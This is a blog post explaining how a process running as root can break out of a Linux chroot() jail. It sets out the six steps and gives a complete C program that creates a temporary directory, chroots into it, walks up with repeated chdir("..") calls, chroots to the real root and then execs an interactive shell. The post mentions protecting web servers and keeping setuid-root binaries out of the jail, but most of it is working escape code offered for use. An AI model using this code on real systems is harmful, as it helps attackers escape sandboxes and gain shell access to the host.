PoiNtEr->: How to break out of a jail in Linux

                             Difference between a dream and an aim. A dream requires soundless sleep, whereas an aim requires sleepless efforts.

Search This Blog

Friday, October 19, 2012

How to break out of a jail in Linux





Whilst chroot() is reasonably secure, a program can escape from its trap. So long as a program is run with root (ie UID 0) privilages it can be used to break out of a chroot()ed area. For a user to do this, they would need access to:

  • C compiler or a Perl interpreter

  • Security holes to gain root access
It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining achroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.
To break out of a chroot()ed area, a program should do the following:

  1. Create a temporary directory in its current working directory
  2.  Open the current working directory. Only required if chroot() changes the calling program's working directory.
  3.  Change the root directory of the process to the temporary directory using chroot().
  4.  Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area. Only required if chroot() changes the calling program's working directory.
  5.  Perform chdir("..") calls many times to move the current working directory into the real root directory.
  6.  Change the root directory of the process to the current working directory, the real root directory, using chroot(".")

Sample Code In c :


Breaking chroot()
001  #include <stdio.h>  
002  #include <errno.h>  
003  #include <fcntl.h>  
004  #include <string.h>  
005  #include <unistd.h>  
006  #include <sys/stat.h>  
007  #include <sys/types.h>  
008     
009  /*  
010  ** You should set NEED_FCHDIR to 1 if the chroot() on your  
011  ** system changes the working directory of the calling  
012  ** process to the same directory as the process was chroot()ed  
013  ** to.  
014  **  
015  ** It is known that you do not need to set this value if you  
016  ** running on Solaris 2.7 and below.  
017  **  
018  */  
019  #define NEED_FCHDIR 0  
020     
021  #define TEMP_DIR "waterbuffalo"  
022     
023  /* Break out of a chroot() environment in C */
024     
025  int main() {  
026    int x;            /* Used to move up a directory tree */  
027    int done=0;       /* Are we done yet ? */  
028  #ifdef NEED_FCHDIR  
029    int dir_fd;       /* File descriptor to directory */  
030  #endif  
031    struct stat sbuf; /* The stat() buffer */  
032     
033  /*  
034  ** First we create the temporary directory if it doesn't exist  
035  */  
036    if (stat(TEMP_DIR,&sbuf)<0) {  
037      if (errno==ENOENT) {  
038        if (mkdir(TEMP_DIR,0755)<0) {  
039          fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
040                  strerror(errno));  
041          exit(1);  
042        }  
043      } else {  
044        fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
045                strerror(errno));  
046        exit(1);  
047      }  
048    } else if (!S_ISDIR(sbuf.st_mode)) {  
049      fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
050      exit(1);  
051    }  
052     
053  #ifdef NEED_FCHDIR  
054  /*  
055  ** Now we open the current working directory  
056  **  
057  ** Note: Only required if chroot() changes the calling program's  
058  **       working directory to the directory given to chroot().  
059  **  
060  */  
061    if ((dir_fd=open(".",O_RDONLY))<0) {  
062      fprintf(stderr,"Failed to open "." for reading - %s\n",  
063              strerror(errno));  
064      exit(1);  
065    }  
066  #endif  
067     
068  /*  
069  ** Next we chroot() to the temporary directory  
070  */  
071    if (chroot(TEMP_DIR)<0) {  
072      fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
073              strerror(errno));  
074      exit(1);  
075    }  
076     
077  #ifdef NEED_FCHDIR  
078  /*  
079  ** Partially break out of the chroot by doing an fchdir()  
080  **  
081  ** This only partially breaks out of the chroot() since whilst  
082  ** our current working directory is outside of the chroot() jail,  
083  ** our root directory is still within it. Thus anything which refers  
084  ** to "/" will refer to files under the chroot() point.  
085  **  
086  ** Note: Only required if chroot() changes the calling program's  
087  **       working directory to the directory given to chroot().  
088  **  
089  */  
090    if (fchdir(dir_fd)<0) {  
091      fprintf(stderr,"Failed to fchdir - %s\n",  
092              strerror(errno));  
093      exit(1);  
094    }  
095    close(dir_fd);  
096  #endif  
097     
098  /*  
099  ** Completely break out of the chroot by recursing up the directory  
100  ** tree and doing a chroot to the current working directory (which will  
101  ** be the real "/" at that point). We just do a chdir("..") lots of  
102  ** times (1024 times for luck :). If we hit the real root directory before  
103  ** we have finished the loop below it doesn't matter as .. in the root  
104  ** directory is the same as . in the root.  
105  **  
106  ** We do the final break out by doing a chroot(".") which sets the root  
107  ** directory to the current working directory - at this point the real  
108  ** root directory.  
109  */  
110    for(x=0;x<1024;x++) {  
111      chdir("..");  
112    }  
113    chroot(".");  
114     
115  /*  
116  ** We're finally out - so exec a shell in interactive mode  
117  */  
118    if (execl("/bin/sh","-i",NULL)<0) {  
119      fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
120      exit(1);  
121    }  
122  } 

 




References:Click Here

No comments:

Post a Comment